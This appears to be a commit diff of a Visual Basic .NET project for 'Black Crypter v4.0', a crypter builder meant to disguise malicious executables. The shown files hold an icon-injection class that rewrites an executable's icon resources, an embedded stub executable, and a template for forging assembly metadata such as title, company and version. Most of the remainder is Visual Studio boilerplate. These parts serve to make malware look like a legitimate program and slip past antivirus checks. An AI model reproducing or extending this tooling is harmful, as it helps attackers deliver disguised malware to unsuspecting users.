ProgressBar1.Value = 0
|
||||
End Sub
|
||||
End Class
|
||||
''كلاس تغيير الايقونه
|
||||
Public Class IconInjector
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort
|
||||
Public Type As UShort
|
||||
Public Count As UShort
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ImageOffset As Integer
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON = 3UI
|
||||
Const RT_GROUP_ICON = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i As Integer = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
Private Class IconFile
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
Public ReadOnly Property ImageCount As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i As Integer = 0 To instance.iconDir.Count - 1
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i As Integer = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
Generated
+38
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18449
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.Builder.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>0</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Black Crypter v4.0 | Legend Edition")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("Black.Hacker | Darkness Software")>
|
||||
<Assembly: AssemblyProduct("Black Crypter v4.0 | Legend Edition")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Black.Hacker - 2014")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("7dae812b-f16a-4d8b-b501-abe8a5bea7c5")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("4.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("4.0.0.0")>
|
||||
Generated
+130
@@ -0,0 +1,130 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18449
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Builder.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property res() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("res", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to [MRU List]
|
||||
'''MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe
|
||||
'''MRU2=
|
||||
'''MRU3=
|
||||
'''MRU4=
|
||||
'''
|
||||
'''[Setup]
|
||||
'''left=235
|
||||
'''top=248
|
||||
'''width=681
|
||||
'''height=367
|
||||
'''MaximizedState=0
|
||||
'''vsplit=200
|
||||
'''LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources
|
||||
'''LastSavedDir=
|
||||
'''
|
||||
'''[Font]
|
||||
'''Name=Courier New
|
||||
'''Size=10
|
||||
'''CharSet=1
|
||||
'''Color=-2147483640
|
||||
'''Style=0
|
||||
'''
|
||||
'''.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Res1() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Res1", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Imports System.Windows.Forms
|
||||
'''Imports System.Reflection
|
||||
'''
|
||||
'''<Assembly: AssemblyTitle("1")>
|
||||
'''<Assembly: AssemblyDescription("2")>
|
||||
'''<Assembly: AssemblyCompany("3")>
|
||||
'''<Assembly: AssemblyProduct("4")>
|
||||
'''<Assembly: AssemblyCopyright("Copyright © 2014 " & " 5")>
|
||||
'''<Assembly: AssemblyTrademark("6")>
|
||||
'''<Assembly: AssemblyVersion("*version*")>
|
||||
'''<Assembly: AssemblyFileVersion("*fversion*")>
|
||||
'''
|
||||
'''Module X
|
||||
''' Sub Main()
|
||||
''' MessageBox.Show("", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
''' End Sub
|
||||
'''End Mod [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property String1() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("String1", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,146 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="res" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\res.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Res1" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Res.ini;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;windows-1256</value>
|
||||
</data>
|
||||
<data name="String1" xml:space="preserve">
|
||||
<value>Imports System.Windows.Forms
|
||||
Imports System.Reflection
|
||||
|
||||
<Assembly: AssemblyTitle("1")>
|
||||
<Assembly: AssemblyDescription("2")>
|
||||
<Assembly: AssemblyCompany("3")>
|
||||
<Assembly: AssemblyProduct("4")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2014 " & " 5")>
|
||||
<Assembly: AssemblyTrademark("6")>
|
||||
<Assembly: AssemblyVersion("*version*")>
|
||||
<Assembly: AssemblyFileVersion("*fversion*")>
|
||||
|
||||
Module X
|
||||
Sub Main()
|
||||
MessageBox.Show("", "", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
End Sub
|
||||
End Module</value>
|
||||
</data>
|
||||
</root>
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18449
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "12.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()), MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.Builder.My.MySettings
|
||||
Get
|
||||
Return Global.Builder.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 321 KiB |
@@ -0,0 +1,23 @@
|
||||
[MRU List]
|
||||
MRU1=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources\Res.exe
|
||||
MRU2=
|
||||
MRU3=
|
||||
MRU4=
|
||||
|
||||
[Setup]
|
||||
left=235
|
||||
top=248
|
||||
width=681
|
||||
height=367
|
||||
MaximizedState=0
|
||||
vsplit=200
|
||||
LastOpenedDir=D:\Documents and Settings\Administrateur\Bureau\KingCobraXD Assembly Changer\KingCobraXD Assembly Changer\Resources
|
||||
LastSavedDir=
|
||||
|
||||
[Font]
|
||||
Name=Courier New
|
||||
Size=10
|
||||
CharSet=1
|
||||
Color=-2147483640
|
||||
Style=0
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user